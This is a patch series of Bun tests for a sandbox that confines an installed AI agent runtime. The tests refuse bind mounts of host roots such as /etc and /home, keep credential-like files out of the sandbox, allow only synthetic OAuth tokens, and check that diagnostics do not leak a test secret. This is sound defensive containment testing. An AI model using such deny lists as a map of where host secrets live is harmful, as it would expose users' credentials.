guardCopyLists(owner:string,text:string):GuardCopyList[]{ copier=true; if(/(?:^|\.)copyFileSync$/.test(node.expression.getText(source))&&node.arguments[1]){ const files=literals(node.arguments[1]).filter(value=>/^scripts\/[\w./-]+\.(?:ts|mjs)$/.test(value)); + if(files.length>1)throw Error(`Guard copy destination concatenates script filenames: ${owner}:${source.getLineAndCharacterOfPosition(node.getStart(source)).line+1}`); if(files.length){const key=scope(node),group=direct.get(key)??new Set();for(const file of files)group.add(file);direct.set(key,group);} } }ts.forEachChild(node,visit); diff --git a/tests/native-guard-copy-closure.test.ts b/tests/native-guard-copy-closure.test.ts index 0556fa801c..2a0040b8cb 100644 --- a/tests/native-guard-copy-closure.test.ts +++ b/tests/native-guard-copy-closure.test.ts @@ -26,3 +26,9 @@ test("frozen JavaScript source plans participate in guard closure validation",() const lists=guardCopyLists("fixture-plan.mjs",text);expect(lists,"EXPORTED_FROZEN_GUARD_PLAN_DISCOVERED_WITHOUT_COPIER").toHaveLength(1); expect(missingGuardImports(root,lists[0]!)).toContain("scripts/native-test-receipts.ts"); }); + + +test("direct copies cannot concatenate module filenames into one destination",()=>{ + const text='copyFileSync(join(root,"scripts/test-native-guard.ts"),join(copy,"scripts/test-native-guard.ts","scripts/native-runtime-pin.ts"));'; + expect(()=>guardCopyLists("malformed-copy.ts",text),"ONE_SCRIPT_PATH_PER_COPY_DESTINATION").toThrow("Guard copy destination concatenates script filenames"); +}); diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index 346d547a56..b9c956a752 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -608,7 +608,7 @@ test("workspace SDK discovery works without root resolution and fails closed for writeFileSync(join(scratch, "packages/native/package.json"), JSON.stringify({ name: "odysseus-native", dependencies: { "@anthropic-ai/claude-agent-sdk": "*" } })); copyFileSync(join(ROOT, "scripts/test-native-guard.ts"), join(scratch, "scripts/test-native-guard.ts")); copyFileSync(join(ROOT,"scripts/native-test-receipts.ts"),join(scratch,"scripts/native-test-receipts.ts")); - copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts"),join(scratch,"scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts")); + copyFileSync(join(ROOT,"scripts/native-device-diagnostics.ts"),join(scratch,"scripts/native-device-diagnostics.ts"));copyFileSync(join(ROOT,"scripts/native-exec-trace.ts"),join(scratch,"scripts/native-exec-trace.ts"));copyFileSync(join(ROOT,"scripts/native-runtime-pin.ts"),join(scratch,"scripts/native-runtime-pin.ts"));copyFileSync(join(ROOT,"scripts/native-title-collector.ts"),join(scratch,"scripts/native-title-collector.ts"));copyFileSync(join(ROOT,"scripts/native-shared-audit.ts"),join(scratch,"scripts/native-shared-audit.ts")); const link = join(scratch, "packages/native/node_modules/@anthropic-ai/claude-agent-sdk"); symlinkSync(dirname(sdk), link); const module = join(scratch, "scripts/test-native-guard.ts"); diff --git a/tests/native-policy-artifact.test.ts b/tests/native-policy-artifact.test.ts index 92e63c4111..9f7328c716 100644 --- a/tests/native-policy-artifact.test.ts +++ b/tests/native-policy-artifact.test.ts @@ -47,7 +47,7 @@ test("an isolated preload without receipt libraries never prints raw diagnostic const root=mkdtempSync(join(tmpdir(),"odysseus-isolated-diagnostic-")); try{ mkdirSync(join(root,"scripts"));mkdirSync(join(root,"packages")); - writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts", "scripts/native-runtime-pin.ts", "scripts/native-title-collector.ts", "scripts/native-shared-audit.ts")); + writeFileSync(join(root,"package.json"),JSON.stringify({private:true}));copyFileSync(guard,join(root,"scripts/test-native-guard.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-test-receipts.ts"),join(root,"scripts/native-test-receipts.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-device-diagnostics.ts"),join(root,"scripts/native-device-diagnostics.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-exec-trace.ts"),join(root,"scripts/native-exec-trace.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-runtime-pin.ts"),join(root,"scripts/native-runtime-pin.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-title-collector.ts"),join(root,"scripts/native-title-collector.ts"));copyFileSync(join(import.meta.dir,"../scripts/native-shared-audit.ts"),join(root,"scripts/native-shared-audit.ts")); const script=join(root,"probe.ts"),secret="odysseus-private-diagnostic-material"; writeFileSync(script,`const original=Bun.spawnSync; Bun.spawnSync=((argv,options)=>argv[0]==="cc"?{exitCode:1,stdout:Buffer.alloc(0),stderr:Buffer.from(process.env.TEST_DIAGNOSTIC_SECRET)}:Reflect.apply(original,Bun,[argv,options])); From 253222e0588bad2dc8644ce140360602b2ef817e Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Sun, 22 Nov 2026 14:57:20 +0000 Subject: [PATCH 109/187] test: balance native boundary proof with hosted shard weights --- scripts/test-shard-costs.json | 28 ++ tests/helpers/native-boundary-fixture.ts | 39 ++ tests/native-offline-boundary.test.ts | 453 +---------------------- tests/native-worker-admission.test.ts | 410 ++++++++++++++++++++ 4 files changed, 486 insertions(+), 444 deletions(-) create mode 100644 tests/helpers/native-boundary-fixture.ts create mode 100644 tests/native-worker-admission.test.ts diff --git a/scripts/test-shard-costs.json b/scripts/test-shard-costs.json index 32c50e4e27..6d0b8b69ee 100644 --- a/scripts/test-shard-costs.json +++ b/scripts/test-shard-costs.json @@ -1189,6 +1189,7 @@ "packages/ui-server/tests/reference-egress.test.ts": 0.163, "packages/ui-server/tests/reference-grants.test.ts": 0.227, "packages/ui-server/tests/reference-maintenance-admission.test.ts": 1.142, + "packages/ui-server/tests/reference-read.test.ts": 16.77, "packages/ui-server/tests/reference-ref-validation.test.ts": 0.1, "packages/ui-server/tests/reference-source.test.ts": 2.353, "packages/ui-server/tests/reference-tools.test.ts": 2.36, @@ -1508,31 +1509,53 @@ "tests/measurement-fixture-lifetime.test.ts": 0.257, "tests/measurement-isolation.test.ts": 0.974, "tests/measurement-rtk-fixture.test.ts": 0.205, + "tests/measurement-worker-fixture.test.ts": 0.1, "tests/module-hygiene-queries.test.ts": 0.95, "tests/module-public-imports.test.ts": 0.1, + "tests/native-app-authority.test.ts": 0.1, + "tests/native-audit-cancellation.test.ts": 0.1, "tests/native-bootstrap-diagnostics.test.ts": 0.727, + "tests/native-bootstrap-health.test.ts": 0.154, "tests/native-boundary-retention.test.ts": 0.102, "tests/native-dead-root-trace.test.ts": 0.1, "tests/native-device-diagnostics.test.ts": 0.185, "tests/native-diagram-retired.test.ts": 0.205, + "tests/native-direct-transport.test.ts": 0.737, + "tests/native-egress-wrapper.test.ts": 0.239, "tests/native-event-log.test.ts": 0.1, + "tests/native-exec-trace.test.ts": 0.1, "tests/native-fixture-files.test.ts": 0.295, "tests/native-guard-copy-closure.test.ts": 0.182, + "tests/native-guard-regressions.test.ts": 0.212, + "tests/native-managed-inspection.test.ts": 1.385, "tests/native-namespace-policy.test.ts": 0.202, "tests/native-observation-phases.test.ts": 0.1, + "tests/native-offline-boundary.test.ts": 75.41, "tests/native-path-preservation.test.ts": 0.125, "tests/native-policy-artifact.test.ts": 0.191, "tests/native-pool-io.test.ts": 0.1, "tests/native-prerequisites.test.ts": 0.1, + "tests/native-private-index-role.test.ts": 5.845, + "tests/native-product-keeper.test.ts": 0.825, + "tests/native-qualification-paths.test.ts": 1.013, + "tests/native-readonly-mount-order.test.ts": 0.1, "tests/native-receipt-channel.test.ts": 0.142, + "tests/native-recording-wrapper.test.ts": 0.1, "tests/native-relay-base-path.test.ts": 0.412, + "tests/native-relay-turn-diagnostic.test.ts": 0.1, + "tests/native-restart-watchdog.test.ts": 0.1, "tests/native-rtk-adapter.test.ts": 0.215, "tests/native-rtk-diagnostics.test.ts": 0.103, + "tests/native-runtime-credential-judge.test.ts": 0.1, "tests/native-sdk-stderr-capture.test.ts": 0.575, "tests/native-strict-admission.test.ts": 4.719, "tests/native-sync-probe-diagnostics.test.ts": 0.116, + "tests/native-timeout-inventory.test.ts": 5.694, + "tests/native-tripwire.test.ts": 13.061, + "tests/native-worker-admission.test.ts": 101.045, "tests/native-worker-classification.test.ts": 0.485, "tests/native-worker-fixture-inventory.test.ts": 0.213, + "tests/native-worker-startup-diagnostics.test.ts": 0.1, "tests/offline-test-launcher.test.ts": 0.169, "tests/opportunity-cli-agreement.test.ts": 1.674, "tests/owned-loop-evidence.test.ts": 0.249, @@ -1541,6 +1564,8 @@ "tests/pi-worker-runtime.test.ts": 102.094, "tests/planning-observer.test.ts": 6.725, "tests/policy-write-boundary.test.ts": 60.738, + "tests/private-fixture-directory-access.test.ts": 0.1, + "tests/private-proof-artifact.test.ts": 0.1, "tests/process-command-proposals.test.ts": 0.1, "tests/project-blockers.test.ts": 0.1, "tests/project-status.test.ts": 0.1, @@ -1572,6 +1597,7 @@ "tests/runtime-build-selection.test.ts": 0.639, "tests/seam-list.test.ts": 7.44, "tests/search-result-tags-adapters.test.ts": 1.619, + "tests/search-witness.test.ts": 0.1, "tests/share-render.test.ts": 2.301, "tests/shipped-claude-runtime-pin.test.ts": 0.1, "tests/shipped-skills-lint.test.ts": 0.1, @@ -1589,6 +1615,7 @@ "tests/test-invocation-lifetime.test.ts": 24.298, "tests/test-invocation-workers.test.ts": 5.531, "tests/test-invocation.test.ts": 73.685, + "tests/test-network-environment.test.ts": 0.1, "tests/test-network-guard.test.ts": 2.211, "tests/test-script.test.ts": 4.256, "tests/test-shards.test.ts": 0.994, @@ -1602,6 +1629,7 @@ "tests/visual-dictation-isolation.test.ts": 1.539, "tests/visual-runner.test.ts": 6.693, "tests/worker-areas-core.test.ts": 0.321, + "tests/worker-limits-envelope.test.ts": 0.1, "tests/worker-limits-workloads.test.ts": 2.999, "tests/worker-sandbox-note.test.ts": 0.948, "tests/worker-state-tmpfs.test.ts": 7.498, diff --git a/tests/helpers/native-boundary-fixture.ts b/tests/helpers/native-boundary-fixture.ts new file mode 100644 index 0000000000..a59c2d2b58 --- /dev/null +++ b/tests/helpers/native-boundary-fixture.ts @@ -0,0 +1,39 @@ +/** Shared subprocess driver; each test still owns its launch and receipts. */ +import {spawnGuardFixture} from "./native-receipt-fixture"; +import {writeFileSync} from "node:fs"; +import {join} from "node:path"; +import {bundledClaudeBinary} from "../../packages/core/src/providers/agents/claude-binary"; +export const ROOT = join(import.meta.dir, "../.."); +export const runtime = bundledClaudeBinary(); +if (!runtime) throw new Error("Native boundary proof requires the installed SDK runtime identity"); + +export async function probe(script: string, home: string) { + const path = join(home, "probe.ts"); writeFileSync(path, script); + const child = spawnGuardFixture([process.execPath, "--no-install", path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); + const [code, output] = await Promise.all([child.exited, child.guardOutput()]); + return { code, output }; +} +export const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; + import {nativeClaudeBoundary,nativeScriptedService as registerService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; + delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard(); + const registerScriptedService=(origin)=>registerService(origin,{fixtureRoots:[process.env.HOME]});`; + +// Check one bwrap scope at a time: the nested native view deliberately hides +// the trace directory, while its outer tracer must retain that mount. +export const guardMountOrderCheck = `function assertGuardMountOrder(mounts,expectedRemounts=[]) { + const operations=[],remounts=[]; + for(let i=0;iop.bind).map(op=>op.at)); + for(const target of expectedRemounts)if(!remounts.some(op=>op.target===target&&op.at>lastBind))throw Error("ORIGINAL_READONLY_REMOUNT_PRESERVED "+target); + for(const bind of operations.filter(op=>op.bind))for(const earlier of remounts)if(earlier.atop.bind))for(const later of operations) { + if(later.at>bind.at && (later.target==="/" || bind.target===later.target || bind.target.startsWith(later.target+"/")))throw Error("GUARD_BIND_HIDDEN_BY_LATER_MOUNT"); + } +}`; + diff --git a/tests/native-offline-boundary.test.ts b/tests/native-offline-boundary.test.ts index b9c956a752..7a2ceb8e79 100644 --- a/tests/native-offline-boundary.test.ts +++ b/tests/native-offline-boundary.test.ts @@ -1,46 +1,12 @@ -import { spawnGuardFixture } from "./helpers/native-receipt-fixture"; -/** Local tests never execute the installed native runtime, including mutations. */ -import { expect, test } from "bun:test"; -import { watchdogMs } from "../scripts/test-deadlines"; -import { chmodSync, copyFileSync, existsSync, mkdirSync, mkdtempSync, rmSync, symlinkSync, writeFileSync } from "node:fs"; -import { dirname, join } from "node:path"; -import { tmpdir } from "node:os"; -import { bundledClaudeBinary } from "../packages/core/src/providers/agents/claude-binary"; -import { isNativeClaude, nativeClaudeBoundary } from "../scripts/test-native-guard"; - -const ROOT = join(import.meta.dir, ".."); -const runtime = bundledClaudeBinary(); -if (!runtime) throw new Error("Native boundary proof requires the installed SDK runtime identity"); - -async function probe(script: string, home: string) { - const path = join(home, "probe.ts"); writeFileSync(path, script); - const child = spawnGuardFixture([process.execPath, "--no-install", path], { env: { PATH: "/usr/bin:/bin", HOME: home }, stdout: "pipe", stderr: "pipe" }); - const [code, output] = await Promise.all([child.exited, child.guardOutput()]); - return { code, output }; -} -const imports = `import {installNetworkGuard} from ${JSON.stringify(join(ROOT, "scripts/test-network-guard.ts"))}; - import {nativeClaudeBoundary,nativeScriptedService as registerService} from ${JSON.stringify(join(ROOT, "scripts/test-native-guard.ts"))}; - delete process.env.GITHUB_ACTIONS; delete process.env.RUNNER_ENVIRONMENT; installNetworkGuard(); - const registerScriptedService=(origin)=>registerService(origin,{fixtureRoots:[process.env.HOME]});`; - -// Check one bwrap scope at a time: the nested native view deliberately hides -// the trace directory, while its outer tracer must retain that mount. -const guardMountOrderCheck = `function assertGuardMountOrder(mounts,expectedRemounts=[]) { - const operations=[],remounts=[]; - for(let i=0;iop.bind).map(op=>op.at)); - for(const target of expectedRemounts)if(!remounts.some(op=>op.target===target&&op.at>lastBind))throw Error("ORIGINAL_READONLY_REMOUNT_PRESERVED "+target); - for(const bind of operations.filter(op=>op.bind))for(const earlier of remounts)if(earlier.atop.bind))for(const later of operations) { - if(later.at>bind.at && (later.target==="/" || bind.target===later.target || bind.target.startsWith(later.target+"/")))throw Error("GUARD_BIND_HIDDEN_BY_LATER_MOUNT"); - } -}`; +/** Keyless admission proof; installed-native positives run only in qualified hosts. */ +import {expect,test} from "bun:test"; +import {watchdogMs} from "../scripts/test-deadlines"; +import {chmodSync,copyFileSync,existsSync,mkdirSync,mkdtempSync,rmSync,symlinkSync,writeFileSync} from "node:fs"; +import {dirname,join} from "node:path"; +import {tmpdir} from "node:os"; +import {isNativeClaude,nativeClaudeBoundary} from "../scripts/test-native-guard"; +import {ROOT,runtime,probe,imports,guardMountOrderCheck} from "./helpers/native-boundary-fixture"; +import {spawnGuardFixture} from "./helpers/native-receipt-fixture"; test("a harmless fixture named claude runs without native admission", async () => { const scratch = mkdtempSync(join(tmpdir(), "odysseus-fixture-runtime-")); @@ -887,404 +853,3 @@ print('HOSTILE_MANAGED_BOUNDARY_HELD',flush=True) } finally { lateServer?.close(); boundary?.dispose(); service.stop(true); rmSync(scratch, { recursive: true, force: true }); } }); -test("native bind inventory rejects every forbidden host service root", async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-forbidden-bind-")); - try { - const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - registerScriptedService("http://127.0.0.1:1");let refused=0; - for(const root of ["/","/run","/var/run","/tmp","/dev","/dev/shm","/home","/var/lib","/etc","/var"])for(const source of [false,true]){ - try{nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],argv:["bwrap","--ro-bind",source?root:${JSON.stringify(scratch)},source?${JSON.stringify(scratch)}:root,"--",${JSON.stringify(runtime)}]})});} - catch(error){if(String(error).includes("forbidden host service root"))refused++;else throw error;} - }if(refused!==20)throw Error("forbidden root admitted");console.error("FORBIDDEN_BIND_ROOTS_REFUSED:20");`,scratch); - expect(result.code).not.toBe(0);expect(result.output.split("\n")).toContain("FORBIDDEN_BIND_ROOTS_REFUSED:20"); - expect(result.output).not.toContain('"nativeLaunched":true'); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("fixed read-only system mounts are never recursively walked",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-system-policy-")); - try{ - const result=await probe(`${imports} - import {mock} from "bun:test"; - import * as fs from "node:fs"; - const read=fs.readdirSync; - mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)==="/usr")throw Object.assign(Error("system walk forbidden"),{code:"EACCES"});return read(path,...args);}})); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); - if(!plan.argv.some((value,index)=>value==="--ro-bind"&&plan.argv[index+1]==="/usr"&&plan.argv[index+2]==="/usr"))throw Error("fixed system mount absent"); - fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("non-system missing and inaccessible entries remain failed receipts",async()=>{ - for(const code of ["ENOENT","EACCES"]){ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-nonsystem-policy-")); - try{ - const result=await probe(`${imports} - import {mock} from "bun:test";import * as fs from "node:fs"; - const read=fs.readdirSync; - if(${JSON.stringify(code)}==="ENOENT")fs.symlinkSync(${JSON.stringify(join(scratch,"absent"))},${JSON.stringify(join(scratch,"missing"))}); - else mock.module("node:fs",()=>({...fs,readdirSync(path,...args){if(String(path)===${JSON.stringify(scratch)})throw Object.assign(Error("synthetic unreadable fixture"),{code:"EACCES"});return read(path,...args);}})); - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}}}); - fs.writeFileSync(plan.argv[plan.argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code).not.toBe(0);expect(result.output).toContain('"metadataError":"'+code+'"');expect(result.output).toContain('"nativeLaunched":false'); - }finally{rmSync(scratch,{recursive:true,force:true});} - } -}); - -test("worker admission classifies executable argv and refuses missing or disagreeing commands",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-executable-")); - try{ - symlinkSync(runtime!,join(scratch,"selected")); - for(const launch of [ - {argv:[runtime]}, - {command:[runtime]}, - {command:["/usr/bin/true"],argv:[runtime]}, - {command:["/usr/bin/true"],argv:["selected"],env:{PATH:scratch},brainPath:scratch}, - {command:["/usr/bin/true"],argv:["./selected"],env:{PATH:"/usr/bin:/bin"},brainPath:scratch}, - ]){ - const result=await probe(`${imports} import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify(launch))}});`,scratch); - expect(result.code).not.toBe(0);expect(result.output).toContain('"nativeLaunched":false'); - expect(result.output).toMatch(/worker command and (?:argv are required|executable argv disagree)/); - } - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("unregistered keeper namespace temporary sources still refuse before native launch",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-keeper-refusal-")),keeper=mkdtempSync(join(tmpdir(),"odysseus-output-keeper-")); - try{ - const missing=join(keeper,"merged/.brain/scratch"); - const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted";registerScriptedService("http://127.0.0.1:1"); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)}},argv:["bwrap","--bind",${JSON.stringify(missing)},"/tmp/odysseus-worker-area","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();`,scratch); - expect(result.code).not.toBe(0); - expect(result.output).toContain("worker bind source is unavailable"); - expect(result.output).toContain('"sourceKind":"unregistered-source"'); - expect(result.output).toContain('"targetKind":"fixture-temporary"'); - expect(result.output).toContain('"metadataError":"ENOENT"'); - expect(result.output).toContain('"nativeLaunched":false'); - }finally{rmSync(scratch,{recursive:true,force:true});rmSync(keeper,{recursive:true,force:true});} -}); - -test("worker outside-HOME regular files require explicit fixture snapshots",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-files-")),outside=mkdtempSync(join(tmpdir(),"odysseus-outside-file-")); - const sentinel=join(outside,"credential-like"),home=join(scratch,"home");mkdirSync(home);writeFileSync(sentinel,"odysseus-synthetic-sentinel"); - try{ - for(const admitted of [false,true]){ - const result=await probe(`${imports} - import {nativeWorkerBoundary,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - nativeScriptedService("http://127.0.0.1:1",{fixtureRoots:[${JSON.stringify(home)},...${admitted?JSON.stringify([outside]):"[]"}],fixtureFiles:${admitted?JSON.stringify([sentinel]):"[]"}}); - const plan=nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:JSON.stringify({command:[${JSON.stringify(runtime)}],brainPath:${JSON.stringify(home)},env:{HOME:${JSON.stringify(home)}},argv:["bwrap","--ro-bind",${JSON.stringify(sentinel)},"/tmp/sentinel","--",${JSON.stringify(runtime)}]})}); - const argv=JSON.parse(plan.env.BRAIN_WORKER_LAUNCH).argv; - try { const at=argv.indexOf("/tmp/sentinel"),source=argv[at-1]; - if(source===${JSON.stringify(sentinel)})throw Error("outside file stayed live-bound"); - writeFileSync(${JSON.stringify(sentinel)},"changed-original"); - if(readFileSync(source,"utf8")!=="odysseus-synthetic-sentinel")throw Error("fixture copy was not a snapshot");plan.beforeLaunch(); - }finally{writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose();}`,scratch); - if(admitted)expect(result.code,result.output).toBe(0); - else {expect(result.code).not.toBe(0);expect(result.output).toContain("worker bind was not created or staged by the fixture");expect(result.output).toContain('"nativeLaunched":false');} - } - }finally{rmSync(scratch,{recursive:true,force:true});rmSync(outside,{recursive:true,force:true});} -}); - -test("offline collector authority preserves only explicitly generated synthetic OAuth",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-offline-collector-")); - try{ - const result=await probe(`${imports} - import {nativeSyntheticCredential,nativeScriptedService} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {writeFileSync,readFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - process.env.GITHUB_ACTIONS="true";process.env.RUNNER_ENVIRONMENT="github-hosted"; - registerScriptedService("http://127.0.0.1:1"); - const token=nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN"); - const leave=nativeScriptedService("http://127.0.0.1:2"); - try {for(const value of [token,"sk-ant-oat01-offline-odysseus-not-generated"]){ - const plan=nativeClaudeBoundary(${JSON.stringify(runtime)},[],{cwd:${JSON.stringify(scratch)},env:{HOME:${JSON.stringify(scratch)},CLAUDE_CODE_OAUTH_TOKEN:value,ANTHROPIC_BASE_URL:"http://127.0.0.1:2"}}); - const argv=plan.argv,at=argv.indexOf("CLAUDE_CODE_OAUTH_TOKEN"); - if((value===token)!==(at>=0&&argv[at+1]===value))throw Error("synthetic credential provenance lost"); - writeFileSync(argv[argv.indexOf("-o")+1],${JSON.stringify(`1 execve(${JSON.stringify(runtime)}, [], 0x1) = 0`)});plan.dispose(); - }} finally{leave();} - const source=readFileSync(${JSON.stringify(join(ROOT,"scripts/measure-turn-surface-live.ts"))},"utf8"); - const hook=source.slice(source.indexOf("spawnClaudeCodeProcess: spec"),source.indexOf("turn = await startOverlappedTurn")); - if(!hook.includes("nativeScriptedService(offline.nativeBaseUrl")||hook.indexOf("nativeScriptedService(")>hook.indexOf("child = spawn("))throw Error("collector did not pin service before spawn"); - if(!source.includes('offline ? nativeSyntheticCredential("CLAUDE_CODE_OAUTH_TOKEN")'))throw Error("collector did not generate its synthetic token");`,scratch); - expect(result.code,result.output).toBe(0); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("a native argv cannot use an argument named bwrap as its isolation launcher",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-fake-launcher-")); - try{ - writeFileSync(join(scratch,"bwrap"),"#!/bin/sh\nexit 0\n",{mode:0o755}); - const command=[runtime!,join(scratch,"bwrap")]; - const result=await probe(`${imports}import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))}; - nativeWorkerBoundary({BRAIN_WORKER_LAUNCH:${JSON.stringify(JSON.stringify({command,argv:command,brainPath:scratch}))}});`,scratch); - expect(result.code).not.toBe(0);expect(result.output).toContain("native worker lacks the OS launcher");expect(result.output).toContain('"nativeLaunched":false'); - }finally{rmSync(scratch,{recursive:true,force:true});} -}); - -test("worker filesystem-filter prefix is verified before native admission",async()=>{ - const scratch=mkdtempSync(join(tmpdir(),"odysseus-worker-filter-")); - try{ - const result=await probe(`${imports} - import {nativeWorkerBoundary} from ${JSON.stringify(join(ROOT,"scripts/test-native-guard.ts"))};import {WORKER_FILESYSTEM_FILTER_PROGRAM} from ${JSON.stringify(join(ROOT,"packages/ui-sdk/src/server/worker-filesystem-filter.ts"))};import {writeFileSync} from "node:fs"; - const spawnSync=Bun.spawnSync,which=Bun.which; - Bun.which=((command,options)=>command==="strace"?"/synthetic/strace":which(command,options)); - Bun.spawnSync=((argv,options)=>(["bwrap","strace"].includes(argv[0])||argv[0]?.endsWith("/native-connect"))?{exitCode:0,stdout:Buffer.alloc(0),stderr:Buffer.alloc(0)}:Reflect.apply(spawnSync,Bun,[argv,options])); - 